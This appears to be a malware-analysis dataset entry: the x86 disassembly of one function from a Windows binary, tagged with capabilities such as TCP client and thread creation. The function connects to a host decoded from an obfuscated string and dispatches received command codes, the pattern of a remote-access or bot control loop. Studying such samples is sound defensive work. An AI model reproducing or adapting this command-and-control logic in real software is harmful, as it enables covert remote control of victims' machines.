Function at 0x401fb0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create tcp socket
Create thread
Create udp socket
Terminate process

Disassembly:
mov eax, 0x2088
call fcn.004030f0
push ebx
push ebp
push esi
push edi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov ebx, eax
mov ax, word [0x405278]
push eax
mov dword [esp + 0x24], ebx
mov word [esp + 0x28], 2
call dword [sym.imp.WS2_32.dll_htons]
push str.tur043sv_kl
mov word [esp + 0x2a], ax
call fcn.00401000
add esp, 4
lea ecx, [esp + 0x24]
mov dword [esp + 0x28], eax
push 0x10
push ecx
push ebx
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x402023
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
add esp, 0x2088
ret 4
push 0x4b
push ebx
call fcn.00401030
mov ecx, 0x39
xor eax, eax
lea edi, [esp + 0x244]
lea edx, [esp + 0x244]
rep stosd dword es:[edi], eax
push edx
call fcn.00401240
add esp, 0xc
lea eax, [esp + 0x2dc]
push str.GbJdh
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ecx, 0x5db
xor eax, eax
lea edi, [esp + 0x929]
lea esi, [esp + 0x23c]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x39
lea edi, [esp + 0x928]
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x23c]
push ecx
push edx
push ebx
mov dword [esp + 0x1c], 0x11000000
mov dword [esp + 0x20], 0xe4
mov dword [esp + 0x24], 0x1e240
call fcn.004011a0
add esp, 0xc
test eax, eax
jne 0x4020da
push 2
push ebx
call dword [sym.imp.WS2_32.dll_shutdown]
push ebx
call dword [sym.imp.WS2_32.dll_closesocket]
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
add esp, 0x2088
ret 4
mov ebp, dword [sym.imp.KERNEL32.dll_lstrcpynA]
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
mov esi, dword [esp + 0x20]
lea eax, [esp + 0x10]
lea ecx, [esp + 0x928]
push eax
push ecx
push esi
call fcn.004011f0
add esp, 0xc
test eax, eax
je 0x4023f6
mov eax, dword [esp + 0x10]
cmp eax, 0x20000007
ja 0x402305
je 0x40225d
sub eax, 0x20000000
je 0x40224b
sub eax, 4
je 0x40216f
dec eax
jne 0x4020e6
mov edx, dword [esp + 0x14]
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x624]
rep stosd dword es:[edi], eax
inc edx
lea eax, [esp + 0x928]
push edx
lea ecx, [esp + 0x628]
push eax
push ecx
call ebp
lea edx, [esp + 0x624]
push 5
push edx
call fcn.004019e0
add esp, 8
jmp 0x40235d
mov ecx, 0x3f
xor eax, eax
lea edi, [esp + 0x321]
mov byte [esp + 0x320], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x320]
lea edx, [esp + 0x320]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x928]
inc eax
push eax
push ecx
push edx
call ebp
mov ecx, 0x41
xor eax, eax
lea edi, [esp + 0x520]
lea edx, [esp + 0x520]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x928]
inc eax
push eax
push ecx
push edx
call ebp
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x139]
mov byte [esp + 0x138], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
lea eax, [esp + 0x138]
push 0x40545c
push eax
call fcn.004014c0
lea ecx, [esp + 0x140]
lea edx, [esp + 0x528]
push ecx
push edx
call fcn.00401520
lea eax, [esp + 0x148]
push eax
call fcn.00401720
add esp, 0x14
test eax, eax
je 0x40235d
lea ecx, [esp + 0x138]
push 0
push ecx
call fcn.004017e0
add esp, 8
jmp 0x40235d
call fcn.00402f40
test eax, eax
jne 0x402405
jmp 0x4020e6
mov edx, dword [esp + 0x14]
lea eax, [esp + 0x928]
inc edx
lea ecx, [esp + 0x828]
push edx
push eax
push ecx
call ebp
mov ecx, 0x41
xor eax, eax
mov edx, dword [esp + 0x14]
lea edi, [esp + 0x724]
rep stosd dword es:[edi], eax
inc edx
lea eax, [esp + 0x928]
push edx
lea ecx, [esp + 0x728]
push eax
push ecx
call ebp
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x35]
mov byte [esp + 0x34], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
lea edx, [esp + 0x34]
push 0x40545c
push edx
stosb byte es:[edi], al
call fcn.004014c0
lea eax, [esp + 0x3c]
lea ecx, [esp + 0x72c]
push eax
push ecx
call fcn.00401520
add esp, 0x10
test eax, eax
je 0x4020e6
lea edx, [esp + 0x34]
push edx
call fcn.00401720
add esp, 4
test eax, eax
je 0x4020e6
call fcn.00402f40
test eax, eax
jne 0x40240d
jmp 0x4020e6
cmp eax, 0x20000020
je 0x402372
cmp eax, 0x37000002
jne 0x4020e6
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x420]
lea edx, [esp + 0x420]
rep stosd dword es:[edi], eax
mov eax, dword [esp + 0x14]
lea ecx, [esp + 0x928]
inc eax
push eax
push ecx
push edx
call ebp
push 0
lea eax, [esp + 0x424]
push 0
push eax
push 0x4018d0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call ebx
mov ecx, 0x5dc
xor eax, eax
lea edi, [esp + 0x928]
rep stosd dword es:[edi], eax
jmp 0x4020e6
lea edi, [esp + 0x928]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
cmp ecx, 0xbb6
ja 0x4020e6
mov ecx, 0x2ee
mov edi, 0x406078
rep stosd dword es:[edi], eax
lea edi, [esp + 0x928]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push eax
mov edx, ecx
mov esi, edi
mov edi, 0x406078
push eax
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
lea eax, [esp + 0x18]
mov ecx, edx
push eax
and ecx, 3
push 0x401e80
push 0
rep movsb byte es:[edi], byte [esi]
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
push eax
call ebx
mov ecx, 0x5dc
xor eax, eax
lea edi, [esp + 0x928]
push 0x64
rep stosd dword es:[edi], eax
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x4020e6
push 2
push esi
call dword [sym.imp.WS2_32.dll_shutdown]
push esi
jmp 0x40200e
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [esp + 0x34]
push 0
push ecx
call fcn.004017e0
add esp, 8
push 0
call dword [sym.imp.MSVCRT.dll_exit]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop